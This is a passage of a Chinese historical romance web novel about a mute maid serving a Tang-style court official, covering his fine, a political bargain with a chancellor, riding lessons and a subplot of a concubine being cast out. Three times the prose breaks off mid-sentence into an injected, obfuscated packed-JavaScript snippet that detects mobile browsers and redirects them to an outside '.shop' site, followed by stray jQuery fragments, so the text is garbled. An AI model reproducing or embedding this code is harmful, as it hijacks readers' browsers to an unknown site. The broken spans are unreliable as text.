东义瞧贺兰珩一脸阴沉,不知道发生了什么,以往这种时候他只管安安静静地远远待着,不去烦他。
可小阮不了解他,没有这眼力见,上前道:“三郎君,晚凝姐姐说夜里凉了,想要一席厚点的被子。”
“让她自己来跟我说。”贺兰珩脚下都没停顿一下,径直走过去了。
“可……”
可晚凝姐姐是哑巴啊,怎么说?她跟自己比划了两次小阮才看懂,过来帮她转述。
郎君昨日才为晚凝姐姐出了头,小阮以为要个被子不是什么难事。
东义将她扯了回来,等贺兰珩进了屋后小声道:“没看郎君现在心情不好吗。”
小阮疑惑地来到书房门前找季晚凝,她正在外面晒书。
“晚凝姐姐,你跟我说的事我转告郎君了,他说……他说让你自己去跟他说。
“但是我看还是明日再说吧,郎君现在的脸就跟墨水里拧出来的一样。”小阮冲她挤了挤眼。
他今日意外地回来得这么早,季晚凝想,能让他心烦的事,恐怕只有大理寺的案子不顺利了。
她放下手里的差事回到寝室,轻轻叩了叩,等了半晌也没人应。
季晚凝在返回书房的路上,听见几个侍卫躲在角落里窃窃私语。
“郎君好几日没上值了,不知道那案子怎么样了。”
“今日大理寺的官员都被押走了,我看郎君这回悬了,头上的乌纱帽不保。”
“别瞎说……”
到了晚间,贺兰珩都没出来用膳,季晚凝又去敲门。
槅门晃晃悠悠地荡开了一条缝,她探身进来,发觉有些不对劲。
隔间变得空空荡荡的,她的卧榻不见了!
季晚凝胸口一窒,案子出了问题,他都自身难保了,不是要把自己送走吧……
她撩开锦幔,半明半昧的烛光铺展在轩室里。
只见卧榻赫然竖放在贺兰珩的床边,她的小衣还原封不动地叠放在榻上。
季晚凝舒了口气,随即满腹疑惑。
侧面的案上摆着一盘残棋,贺兰珩坐在雪豹皮毛毯上,倚着月牙杌,身后的孔雀云母屏风泛着幽光。
他闭着眼,长眉深锁,眼下一片青黑,看起来很疲惫。
季晚凝轻手轻脚地走到案几边,拢了襦裙蹲下身来。
她这几日倒是觉得睡得很沉,许是他那香料助眠的功效,沉水香香韵悠长,令人心绪舒缓。
她伸出一只削葱似的的手指,按在他的眉心上,轻柔地画着圈。
少顷,贺兰珩疏缓地掀开眼,眯起狭长的凤眸乜着她,季晚凝收回了手。
他将搭在月牙杌上的胳膊支了起来,低声道:“既然你觉得隔间冷,以后就睡内间吧。”
季晚凝怔了怔,羽睫轻眨,里间有暖炉,确实暖和不少,但她不想睡他旁边,她只是想要厚被子啊。
他到底在闹什么,如此一来旁人就更误会她是侍寝的婢女了。
贺兰珩起了身,季晚凝给他褪去外袍。
等他去了净房,季晚凝拿起小几上的缕花薰球,取了一枚香丸放进去,点燃炭火,塞进了他的被衾里。
薰球是大一些的香球,无烟无明火,球内装置精巧,焚香时不论怎么滚动都不会倾翻。
放在榻上,等到睡觉时被窝就会薰得很暖和,还有淡淡的香味。
过了良久,贺兰珩才从净房出来,身上水汽氤氲,披着一袭绸缎长袍,领口微敞,露出两截俊逸修长的锁骨,像覆雪的山脊。
季晚凝拿起巾帨过来给他擦干湿发,之后贺兰珩掀开被子躺在了床上。
她站在床边摸了摸他的棉被,果然比自己的厚得多。
贺兰珩好像睡着了一样,季晚凝又拽了一下被角,突然她的手腕被擒住了。
“老实点儿。”贺兰珩若有若无地撩开眼,“回你自己榻上去。”
见她果然不动了,贺兰珩松了手,又阖上眼。
不一会儿,一只纤细的指尖轻飘飘地隔着绸裤擦过他的大腿,贺兰珩几不可察地颤了一下。
他侧过头,看见季晚凝从被子里把薰球掏了出来,然后迅速放下床侧的帘帐
帘子合上的一瞬,那双明珠般的眸子从缝隙里略带嗔怒地横了他一眼,如星河流转。
季晚凝抱着热乎乎的薰球回到自己的卧榻上,钻进了被窝里。
贺兰珩喉结微微滚动了一下,没说什么。
……
几日后,宫里太监来通禀贺兰珩明日去上早朝,多余的一句都没说。
贺兰珩得到消息后便去了趟卫庚府上。
家仆将他领进寝室,卫庚正躺在床上,挣扎着要起身,被他按下了。
“别动,伤哪了?”贺兰珩问。
“哪里都没伤,宋熙折磨的人手段实在奇特,把我绑在一根粗木上,使人拉扯我的四肢,难受得很但却没落下伤。”卫庚哑着声道。
“请过医师了没有?”
“请过了,无大碍,静养即可,我现在也只是胳膊腿酸痛,浑身不得劲,估摸过两天就好了。”
“其他人也都放出来了?”
“只有杨少卿没出来,听说他招了。宋熙问了三个问题,季晚凝有没有参与谶书案,是不是你放走的,现在人在哪。”
贺兰珩眉心轻蹙,按理说既然有人招供了,他们不应该被放出来。
而且他们都不知道季晚凝在哪,也不知道他放走她的真正原因,宋熙最应该审问的人是他,却没动他。
贺兰珩揣摩不出他是什么意图。
“这回让你们受罪了。”他道。
卫庚吃力地拍了拍他的胳膊道:“见什么外。”
之前他因为得罪了罗逊,被贬到蛮荒之地做县令。贺兰珩接任后调查过大理寺官员的政绩,这才将他调了回来,后成为了贺兰珩的心腹之一。
与此同时的延英殿里,龙脑香袅袅升腾。
天子身边立着宦官康诫,阶下站着右相郑彦元、左相宋熙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164470|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,以及吴道坤几位相公。
宋熙双手持象牙笏板,看着板上记的笔记禀奏:
“陛下,臣已查明卫尉少卿秦筝命家仆借给秦俪送饭之机,于大理寺纵火,助其女秦俪逃狱。
“射杀袁大和小六的则是他包藏的右万骑叛军,只是那人不肯承认受秦筝驱使。
“此外,臣还在秦府中搜出了仪仗甲胄,秦筝身为卫尉少卿,为了赎其女出狱,意图贩卖军器。”
说到这里,天子脸色黑沉,他身侧的康诫埋着头,局促不安,好在他只是略微“指点”了秦筝一二,没查到他头上来。
康诫立刻跪在地上给他捶腿,道:“这秦筝监守自盗,敢动国之重器,真是胆大包天,其心可诛啊!”
天子一掌拍在御榻上,道:“秦筝罪不可恕,绝不能轻饶。”
宋熙继续道:“陛下,此案中贺兰大理亦有失察之责,而秦筝为吴尚书同党,吴尚书则有同谋之嫌。”
吴道坤眼里蓄起了怒意,反驳道:“宋相公处心积虑给本官泼脏水,恐怕是公报私仇吧。”
“吴公虽为秦筝说过情,但没有证据表明他参与了案子,朕暂不与追究。”天子挥了挥手道。
吴道坤觑了一眼宋熙,道:“圣人明察,臣以为此案贺兰大理难辞其咎,当革去他的官职。”
天子思量了半晌,对郑彦元道:“郑令公怎么看?”
郑彦元一向儒雅典厚,持重少言,天子询问他,他才敛衽行礼道:“贺兰大理上任数月,辛勤整饬大理寺,在谶书一案中功不可没。臣以为,可将功赎罪,或是轻罚。”
翌日一早。
季晚凝拿出了绣着俊鹤御花的深紫色朝服,披在贺兰珩身上。
昨晚她仔细熨了半个时辰,平整得没有一丝褶皱,再放在薰笼上熏香,一抖开淡香扑鼻。
朝服比平常的公服更为繁琐,蔽膝、罗裳里里外外好几层。她儿时见母亲给父亲穿过,要一刻多钟才穿好。
季晚凝多日没见他穿过朝服和公服了,猜到他被停职受审了,可他一句也没提过,直到今日她才安下心来。
她把金鱼袋挂在銙带的钩褵上,水苍玉佩垂在袍子的襕边,然后捧起进贤冠,踮着脚尖戴在他束得一丝不苟的发髻上。
贺兰珩在铜镜前整了整冠缨,季晚凝把他送出门,北苍早已在门外候着。
整个紫宸殿笼罩在肃穆之中。
天子穿着一袭金龙刺绣龙袍,高坐在御座上,沉肃着一张脸,周身散发着令人胆寒的威严。
他声若洪钟地宣布:“纵火凶犯与弓手按律斩立决,秦筝流徙三千里,其女秦俪杖一百,不得减赎。”
大殿之内鸦雀无声,众朝臣皆低垂着头。
天子微微颔首,沉思片刻后道:“大理卿贺兰珩罚一年俸禄,以儆效尤,望众卿以此为戒。”
贺兰珩一托襕袍,跪下道:“陛下宽宏仁慈,臣领罚。往后臣定当鞠躬尽力,不负陛下重托。”
退朝之后,贺兰珩走出承天门,见宋熙正搭着长随的手臂登上马车,他放缓脚步,朝着宋熙走了过去。
长随转过身来,双臂架起冲他一揖,将贺兰珩拦住了,压低声音说道:“酉时,宋府,宋相公摆宴。”
32. 骑马
宽阔的朱雀大街上灯笼高悬,照在两排府邸门首的石兽上,庄严又森肃,一双双没有瞳仁的兽目冷峻地凝视着往来的行人。
宋府中,列烛置膳,美酒丰馔,整个宴厅里亮如白昼。
推杯换盏间,贺兰珩道:“此次宋相公出手相助,下官参不透其中缘由,望相公解惑。”
今日朝堂上天子没有追究他谶书案的责任,可见是宋熙将季晚凝的事按下未表。
“老夫可以透露给你一个消息,”宋熙意味深长道,“九公主已过了及笄之年,尚未出降,近日她央求圣人择你为驸马。圣人已经依允了,但要先等太子完婚,来年再为公主赐婚。”
贺兰珩湛黑的眸底掠过一丝微澜,他举起錾花酒盏,轻酌了一口。
“哦?太子妃选了哪家闺秀?”
宋熙微笑道:“正是小女。”
太子是皇后所出,而九公主是郑贵妃所出,贺兰珩用指节轻轻叩着酒盏:“如此一来,宋相公与下官岂非立场针锋相对?”
“在官场上,没有永远的敌人,敌人的敌人便是朋友。”宋熙压低声音,“此次你得罪了吴道坤,他是刑部尚书,往后不免给大理寺使绊子,而吴道坤攀附康诫,康诫则是晋王党。”
东宫势力在皇后薨逝、太子闭关后早已削弱,郑贵妃的独子晋王势头强劲,他背后不仅有郑彦元这样的权臣外戚,还有康诫这个得宠的权宦。
宋熙的势力远远不能和他们相提并论,郑彦元根基深厚,他想从康诫身上下手,除掉他后安插上自己人。
康诫一倒,再除掉吴道坤就不是什么难事了。
贺兰珩不想卷进争储的漩涡里,沉默了片刻道:“容下官考虑一下,再答复宋相公。”
宋熙身子微微前倾,道:“杨司浦现在还在我手上,你想怎么处置他,尽管提。”
“下官亦有杨司浦的把柄在手,宋相公把他交给我就好。”
“握在手里的才叫做把柄。”宋熙眼中闪过一丝精明,“他不在你手里。”
贺兰珩心里冷笑,这宋熙还真不好对付。
宋熙见他犹豫不决,挥了挥手,随即一排红绡霞帔、嫋嫋婷婷的美人莲步姗姗鱼贯而入。
“老夫再给你一个选择,把季晚凝交给我,你自然就能洗脱嫌疑,这些美人随你带走。”
宋熙从杨司浦口中得知季晚凝生得仙姿玉质,便想当然地以为贺兰珩是图美色。
贺兰珩没有解释,这反倒是一个掩饰他真实目的的绝佳挡箭牌。
他淡淡扫了一眼美人,轻启薄唇:“百花争艳,不及一枝独秀。”
宋熙听了哈哈一笑:“贺兰卿这么说,老夫倒是对她有几分好奇了。”
贺兰珩敛了容,道:“宋相公难不成也怀疑她?”
宋熙亦收起笑容:“把人交给我,我自会判断,若人当真清白,老夫自会全须全尾地还与你。”
“下官素来不喜受人胁迫。”贺兰珩从容道。
届时太子大婚,必然大赦天下,他只需扛过这阵子就无虞了。
“你虽有圣宠加身,但包藏重犯,欺君罔上,就算不死也足以把你贬出京,到时你想护都护不住她。”宋熙的眼神阴沉了下来,“贺兰卿,何必呢?”
贺兰珩眸光微垂,冷隽深邃的轮廓倒映在酒盏里,默了少顷后,他道:“宋相公也说了,官场上没有永远的敌人,那么也就没有永远的朋友。”
“这个道理老夫自然懂得,你我且同盟这一遭。”宋熙笑了笑。
贺兰珩摩挲着杯壁上的狩猎纹道:“要大赦天下了,杨司浦不能留。”
“你放心,老夫也是作此考虑,到时你将他的把柄交到我手里即可。”宋熙道,“至于康诫那边,他身负包括花鸟使、军器使在内的七八个使职,权力越大就越贪,破绽也就越多。”
“下官知道了。”贺兰珩略一点首,拂袖起身道,“天色不早了,下官先告辞了。”
宋熙扶着腰站了起来,把他送到大门口,无意间扫到他垂在腰间的香球,他古井无波的眸底微微闪动了一下。
“别怪老夫多嘴,你将来要尚公主,九公主的性子你也知道。你若真爱惜季晚凝,就尽快与她断了,把她送走。”
“这就不劳宋相公费心了。”
贺兰珩语气微冷,登上了马车。
车轮辚辚碾过青石板路,与暮鼓声合奏出一种不协调的调子。
回望灯火辉煌的宋府,与之毗邻的是陈家那黑黢黢的、萧条破败的府邸。
宋熙的话倒是提醒了他,长安波谲云诡,暗流涌动,如同一座猛兽潜伏的幽林,他只打算留她两年,得给她找一个更稳固的靠山。
……
转眼到了月末,东义从东市采买回来,带了一大兜子的枣。
东市离宣阳坊很近,所以府里人都去东市买东西。
他抓了几颗枣扔在小阮身上,小阮正在和季晚凝熨衣裳,她手一抖,险些烫出个洞来。
小阮举起青铜熨斗往东义眼前晃了一晃:“离我远点!”
东义一边吃着枣,一边道:“告诉你个好消息。”
他说完扬了扬眉,就等着小阮问他。
“别卖关子,有话快说。”小阮凶巴巴道。
“秦筝流徙三千里,人刚刚出城了。”
小阮放下了手里的熨斗,心情舒畅万分,道:“府主……不,秦筝他罪有应得,那秦娘子如何了?”
季晚凝也停下来,抬起了头。
东义道:“听说秦俪挨了杖刑,奄奄一息,如今家里请不起名医了,能不能活只能看命,就算活下来就是残废了。”
秦俪使昆仑奴当街棒杀舞姬的那日,小阮也在场,吓得几日没阖眼睡觉,满脑子都是那女郎惨死的脸。
她就是这么把脑袋系在裤腰带上,在秦府度过了七八个春秋。
小阮有点不敢相信一切发生得这么快。秦家就这么倒下了,不得不感叹再位高权重也逃不过天子一怒,圣威发作。
东义和小阮都不曾注意季晚凝的表情,他们不知道秦俪跟季晚凝之间的事,更不知道大理寺的案子其实是出自她之手。
见小阮失神,东义安慰道:“这下你不用再担心秦家为难你了。”
小阮道:“还好我遇到了三郎君,郎君是个好人。”
东义跟了贺兰珩多年,心里不敢说郎君是不是个好人,但一听小阮说她不走了,忙应和道:“这你就说对了,不仅郎君是大善人,我东义也是个小善人。”
“不要脸。”小阮眼皮一翻,不理他了,转过身来继续干活。
“我若不好,能让你天天这么怼我?”东义牵了牵嘴角。
季晚凝在心里微微一笑,小阮刚来时怯生生的,手脚都不知往哪放,如今活泼多了,胆子也大了,这应当是她本来该有的样子吧。
贺兰珩已经复职有几日了,院里一切如常,季晚凝以为他都摆平了,直到她发觉这月的俸料没有如期送来。
晚上季晚凝去书房端茶侍墨,有心想问问他是不是被罚了俸。
趁贺兰珩啜茶的时候,她从他的笔架上拿起了一只笔,正要写字,贺兰珩抬起眼,伸过手,轻轻握在了她的笔杆上。
指尖触碰一瞬,季晚凝的手松了松,笔从她手里被夺了过去,她看向贺兰珩,他若无其事地把笔放回了架子上。
季晚凝轻蹙柳眉,撇了撇嘴角,好心想关心他一番,字都不让写。
罢了,只要她的吃穿用度没削减没行。
翌日休沐。
季晚凝正在亭子里喂雪媚娘,贺兰珩牵着一匹波斯骏马迎面走过来。
那枣红色的皮毛极好,在日光下泛着油亮的光泽,眉心一缕雪花似的纯白,马鬃修剪成三花图案,胸带上还垂挂着漂亮的缨络和兽形玉饰,神气极了。
“会不会骑马?”他问她。
季晚凝摇了摇头。虽然养父是猎户,家中有一匹马,但她那时年纪尚小,只骑过驴。
“在冬猎前学会骑射,就当将功赎罪了。”贺兰珩道。
季晚凝又惊又喜,他要带
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164471|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己去冬猎?虽然不清楚为什么,但是只要能出门,她都乐意,况且学骑射就能还他人情,这未免也太轻松了。
“来,牵住它。”
贺兰珩将辔头交到她手上,走到来鹤园的后门,一推开就是马场。
场地宽阔,地面上的黄土被压得严严实实,四周的围栏在阳光的投射下,拉出一道道影子。
贺兰珩拿过来一只马杌子放在地上,道:“上马。”
季晚凝握住缰绳,踏上马杌子,抓紧鞍环,小心翼翼地踩着马镫,顺利跨上了马背,和骑驴差不多。
不过不同的是驴体型矮小、脾气温顺,骑着稳当,而马更难驾驭,尤其是跑起来。
马儿甩了甩耳朵,季晚凝坐在马背上,转头望向贺兰珩,眼中透着一丝不安和期待。
“夹紧马腹,勒一把缰绳,跟着它的步子熟悉下马蹄的节奏。”贺兰珩道。
季晚凝深吸了一口气,扯动缰绳,马儿便围着马场缓缓走动起来。
起初的步伐很慢,像是在试探,她手上又稍微用力,马儿的步子加快,变成了小跑。
这波斯马四蹄各有一抹雪白,有节奏地一下下落地,宛如踏着霜雪,风捧起季晚凝鬓边的碎发,伴着骏马的起落凌空飘扬。
数圈下来,季晚凝已经逐渐合上了它的节奏。
“勒缰绳,跳下马。”贺兰珩短促而有力地命道。
季晚凝依言勒住缰绳,马匹的速度渐渐慢了下来,最终停了下来。她踩着马镫,右腿堪堪跨过来,一个不慎,鞋尖踢到了马腹上。
骏马受惊,嘶叫一声,蹄子扬起如离弦之箭般窜了出去。季晚凝还未来得及跃下马背,被它猛地一扯,整个人失去平衡,扑通一声跌坐在了黄土地上,溅起一片尘土。
贺兰珩疾步上前,脚下轻点,瞬时飞身上马。马蹄翻腾,扬起滚滚烟尘,他用力勒紧缰绳,脊背往后一仰,将它控制住了。
“你若不能保证踢不到马腹,下次就不要踩马镫,直接跳下来。”
他语气像军官一样,简练冷漠而严厉。
季晚凝从地上爬起来,一边掸着裙衫上的土,一边默默点了点头。
“每日一个时辰,待你熟练了以后再教你跑马。”
贺兰珩像是没看见她刚刚摔倒了一样,神色淡然地将马辔递到她手里。
下晌的阳光薄而淡,天边泛起淡淡的赭黄色。一个穿着胡服的女郎牵着一匹小马驹走进了马场。
“阿兄!”贺兰容嫣笑眯眯地走了过来,“你怎么在这儿?”
说话间她注意到了贺兰珩身边的季晚凝,玉貌韶颜,衣着虽不华贵,但也十分体面,手里牵着匹一看就很名贵的波斯马。
她翘起的嘴角瞬时耷拉了下来。
季晚凝见她盯着自己,向她欠了欠身。原来是贺兰珩的阿妹。
“阿兄,你都不教我骑马,害得我跑不过九公主。“容嫣把目光从她身上移开,嘟起嘴道,“总说自己没空,我看你挺闲的。”
“九公主多大,你多大?”贺兰珩失笑,“你有宫里的教习教。”
季晚凝在一旁轻拍着手上的土,容嫣皱了皱鼻子,灵敏地嗅到了她手上熟悉的香味,她自己调配的手膏,添了苏合香和桂花,一下就能辨认出来。
“阿兄,你怎么把我送你的手膏给别人!”容嫣的小脾气上来了,“有了娘子就忘了亲妹!”
贺兰珩解释道:“她是我院里的婢女。”
容嫣斜乜着他道:“婢女?我是年岁小不是傻,你给婢女穿这么好的布料?还给她骑这么好的马?”
贺兰珩一时无言以对。
季晚凝不喜欢总这样被误会,心里虽坦荡,却苦于没法解释。
她瞄了眼贺兰珩,那副拿自己阿妹没辙的样子有几分好笑。
容嫣转了转水灵灵的眼睛道:“这样吧,你带我去冬猎,我就不跟你计较了。”
“可以,但你得给我保密。”贺兰珩道。
容嫣瞄了一眼季晚凝,拖长了声音道:“成——”
33. 坠马
林夙之白日里无所事事,靳然怕她无趣就给她请了戏班子解闷,但看多了也就腻了。
婢女便给她出了个主意,学做糕点,这一做半晌就过去了。
于是林夙之跟着她学做糕点,第一笼做坏了,又做了一笼,已经下晌了。
“都这个时辰了,四郎快散堂了,要不别送了。”林夙之抹了把汗。
“娘子这你就不懂了,郎君喜欢女郎送食盒,搏的是个面子。”
婢女把糕点放在食盒里,拉着她一起出门了。
她在崇文馆外等了良久,终于有三三两两的学子从里面出来了。
她拢了拢帔帛,从照壁后面探头望去,一个穿着青色长袍的郎君正从门里款步走出来,衣衫磊落,一只白玉簪插在整洁的束发上,正垂头侧首和同窗说着话。
林夙之看不清他的脸,只觉那人松风水月般的身形既遥远又熟悉,隔着十几丈远,心跳突然间加快了。
她凝眸,像石人儿似的盯着他,眼睛都涩了也不眨一下。
“素儿。”一道沉厚的声线忽然在她头顶响起。
靳然高大英朗的身子挡住了她的视线,他手里牵着缰绳,不等林夙之反应过来,就揽住了她柔若无骨的腰肢,将整个人托了起来。
林夙之慌张地轻轻叫了一声,在靳然强健的双臂中被举上了马背,随即一个滚荡的胸膛贴在她的背上,环住她的身子。
“驾!”靳然扬鞭勒马,跃了出去。
“你慢点儿……”林夙之紧紧抓着鞍环。
靳然贴着她耳后说道:“你给我带了什么?”
“我做的糍糕。”
“你做的?我可不敢吃。”靳然勾唇轻笑。
“我做了整整一天,”林夙之在马上被颠得说不出一句完整的话来,“你不吃,我就给旁人吃了。”
“那可不成。”
姚絮从崇文馆出来后,总觉有个视线在一直盯着自己,他已然习惯了这种注视,便没往心里去。
他堪堪与同窗拱手告辞,就见靳然从眼前打马而过,马背上比往常多了一个女郎,绛紫色的帔帛拂着靳然的腿侧,随风翻飞。
“谁家的女郎,如此不知检点。”同窗面露鄙夷,低声嗤道。
“你可认得那女郎?”姚絮问。
“当然不认得。”
“既不认得,又怎好妄加评判?”姚絮清凌凌的声音说道。
“那靳四郎是什么人?整日游猎,不学无术,与他一道的又能是什么闺秀?说不准是哪家青楼里的女伎。”
姚絮默然,不欲再与他争辩,不论是谁家的女郎,都与他无关。
“对了,姚兄,你的大喜之日就快到了吧,届时别忘了请我喝喜酒。”
“这是自然。”姚絮浮起一个浅淡的笑容。
翌日,靳然听说贺兰珩被罚了俸,散堂后来到贺兰府,由东义领进了来鹤园。前阵子他递了几次拜帖,贺兰珩都没见他。
靳然迈进东侧的书房,他身后的长随手里拎着坛三勒浆,把酒坛放在案几上就退了出去。
“不就是一年俸禄吗,没有一顿酒解决不了的事。”靳然见贺兰珩沉着脸,开慰他,“对了,大理寺的案子我怎么听说是卫尉少卿干的?他跟你有什么过节?”
贺兰珩放下手里的书,模棱两可道:“朝堂之中,哪日不是明争暗斗、尔虞我诈。”
“谦晔兄升迁太快,遭人嫉恨也是正常。”
贺兰珩不再说话,低头看书。靳然闲不住,在房中踱步转悠,瞄见书架上一本卷宗,书帙上写着“林氏夙之”四个字。
“对了,”贺兰珩漫不经心道,“那日你去大理寺后衙找我,是不是带了素儿?”
“……是有这么回事,我没告诉你是我怕你不同意,她想找你的婢女叙叙话,我想着也不是什么大事,便答应了。”
靳然说着,目光落在了那卷宗上,鬼使神差地转头问道:“林夙之是谁?”
贺兰珩抬眸看了一眼,迟疑了一息,淡声道:“你自己看吧。”
靳然将卷宗从书帙里拿了出来,展开来。
“林氏夙之,其父原为御史中丞林鑫,弘正八年流配黔州……夙之没为宫奴,姚氏赎其于刑部,为家婢……”
看到这里,靳然眉峰忽地一跳,嘴角那抹玩世不恭的笑意僵在脸上。
他起先以为“林夙之”是个男子,可上面分明写的是“家婢”。
“谦晔,这卷宗是哪来的?”
“前阵子查案时,派人搜集的情报。”贺兰珩道。
他神色紧张道:“那林夙之到底是谁?”
贺兰珩起身,从他手里拿回那本卷宗,放回书架上,意味深长道:“你何不回家自己去问她?”
靳然神色一滞,喉头发紧。
出了贺兰府,靳然一路策鞭回到家,推开了林夙之的房门。
林夙之坐在镜台前,手里拿着翠玉双鸾篦,乌发铺在肩上。
她回头娇娇柔柔地望着他,道:“四郎,你回来了?”
靳然撩袍坐在坐榻上,卷宗里的文字和她那把琵琶不停地在他脑子里打转。
姚氏……姚絮……夙之……夙心……
林夙之起身想帮他更衣,手刚搭在腰上,就被靳然甩开了。
他冷声道:“我从来没问过你,你的本名叫什么?”
林夙之的笑意凝在了唇畔。
一直以来她都想寻一个机会告诉他,奈何他对自己一日比一日好,她便愈发难以启齿。
“四郎怎么突然问起这个?”林夙之干笑了一下,不敢直视他的眼睛。
靳然道:“你进镜花楼之前,是不是在姚府为婢?”
林夙之喉间泛起一丝苦意,她轻轻点了点头,嗓音涩涩道:“我原名林夙之。”
“接着说。”
“我父亲曾是御史中丞,十年前,家父因涉陈澍案,被流放黔州,女眷全部籍没为奴。当时与我有婚约的姚七郎求他父亲将我赎回了府里……”
烛火摇曳,映在靳然的眸子里簇簇攒动,他霍然起身道:“这种事你竟敢瞒我,你可知我靳氏与陈澍一党不共戴天!”
林夙之伏在地上,泪水滴涟涟地从她通红的脸颊滑落,声音颤颤:“四郎,对不起,我不是有意瞒你,那日……”
靳然转身拿出一张卖身契,和一个银箧咣当丢在地上,打断了她:“拿上你的东西,滚!”
银箧的盖子摔开,装在里面的铜钱滚了出来。林夙之伸出瑟瑟发抖的手,把钱和身契捡了起来。
……
初冬的马场弥漫着清冷的泥土气息,夹杂着松针的淡香,天空澄澈如洗,几缕薄云被风撕扯成丝絮状,徐徐飘荡。
贺兰珩撤掉了马杌子,季晚凝站在马旁,抚了抚它浓密而顺滑的马鬃,随后手握缰绳,一踏马镫,修长而笔直的右腿优雅地跨过马背,稳稳坐在了鞍上。
“推浪要靠腰髋的力量去控制,记得紧跟马的节奏。”贺兰珩微仰起头,看着她道。
季晚凝上下马、驭马小跑已经很熟练了,今日起就该学跑马了。
她微微颔首,手中缰绳一紧,马儿便围着栏杆跑了起来。
裙摆凌风飏逸,掀起阵阵涟漪,与蹄下的尘烟一同翩翩然扬起又落下。
淡金的日光镀在周身,碧绫裙时而随风舒展,时而紧贴着她玲珑的曲线,勾勒出姣长的身姿。
贺兰珩双手反剪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164472|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,墨色的锦袍在风中微微拂动,目光跟随着季晚凝飞扬的纤影。
“再快些。”他道。
季晚凝手上力道又加重了一分,腰身跟着马蹄猛地一颠,心跳也随马的奔腾而加速,试图跟上它的节奏。
她的身体开始有些摇晃,下意识地松了松缰绳。
马儿擦着贺兰珩身侧飞驰而过,尘土飞扬,在空气中织出一片朦胧的轻纱。
他手中执着马鞭。
啪!
麂鞭在空中划出一道弧线,重重地落在了马臀上。
骏马瞬时四蹄弛空,带着季晚凝疾掠了出去,她的心倏尔绷紧,风从耳边猎猎吹过。
在猛烈的颠簸之下,节奏逐渐紊乱,季晚凝攥着缰绳的手心沁出了冷汗,胃里一阵翻滚。
她勒紧缰绳,想将马蹄刹住,却丝毫控制不了,终于在拐弯的时候失去了重心,身子一倾,从疾驰的马上坠了下来。
眼看就要砸在地上,她腰上突然被一只手揽住,季晚凝一下跌在了一个坚硬的胸膛上。
那手突然收了回去,季晚凝一个没站稳,摔在了地上。她狼狈地从地上爬了起来,嘴里满是土味。
她回头望去,贺兰珩已经跃上了失控的马,扯动缰绳,过了一会儿马就缓缓停了下来。
季晚凝走到围栏边,靠在上面,心里一股闷气,连土也懒得掸。
贺兰珩翻身下马,朝她走过来,踩在她的影子上,湛黑的视线巡过她落灰的小脸。
他沉着目光问:“为何你坠马时也不喊?”
季晚凝轻抬眼眸看他,你要不要听听自己在说什么?因为我是哑巴啊。
“即使是哑巴,也会出声吧。”贺兰珩道。
季晚凝奇怪他为何突然在乎这个问题,出不出声又有什么区别,出声的话他就会出手帮她吗?
刚刚是谁给了她的马一鞭子啊!
贺兰珩见她面无表情地扭过头去,凌乱的发丝裹着尘土黏在雪白素净的脸颊上,盈盈杏眸如半含朝雨的海棠,透着几分泠落的美,长睫上覆着一层灰尘,轻轻眨着,卷动了日光下的尘埃,起落沉浮。
他喉结滚动了一下,眼底的灼光熄灭了,薄唇抿成一条线。
季晚凝独自把马牵到了马厩里,回到院中,小阮见她浑身是土,跑过来一脸担忧道:“晚凝姐姐,你这是从马上摔下来了?严不严重?”
季晚凝无奈地冲她苦笑一下,摇了摇头,表示自己没事。
东义也循着声音过来了:“你等等,库房里有上好的薄荷膏,我去取。”
季晚凝把他拦住了,因着贺兰珩托了她一下,她是落地后才摔的,还不至于受伤,只是浑身脏兮兮的让人误以为坠马了。
小阮陪着季晚凝回房里换衣裳,在一旁道:“晚凝姐姐,不瞒你说,当我知道郎君教你学骑马,可羡慕了。原先在秦府上,有头脸的仆从才有马骑。如今看来,学骑马不是件容易的事,坐那么高看着就怪吓人的,晚凝姐姐你真勇敢!”
季晚凝心里淌过一股暖流,可小阮不知道,跟着贺兰珩学骑马是没苦硬吃。
她儿时看阿耶教阿姐骑马,开始都是由阿耶牵着马,循序渐进,温柔教导,对阿兄才会严厉些,任他胡打海摔。
不过毕竟如今的自己只是个下人,主人不会对下人有太多的耐心。
离冬猎还有两个月,她射箭技术尚可,只要每天多练练骑马,届时骑射工夫也足以拿得出手。
他要带她去围猎,估计是看中了她的箭术,到时为他多射些飞禽走兽,在同僚之中添脸面、□□头。
可她想不通冬猎对他有这么重要吗?反而对她来说很重要,到时或许会见到那些和父亲有关的朝中重臣。
34. 冷战
晚间,寒意袭人,贺兰珩从前堂出来回到寝室,屋里的灯光半明半昧,空气中浮着沉水香的味道,却没见那个惯常上前伺候他的身影。
走进里间,卧榻上一个背影对着他,枕上散落着一头乌黑的发丝,脊背弓成一条弧形。
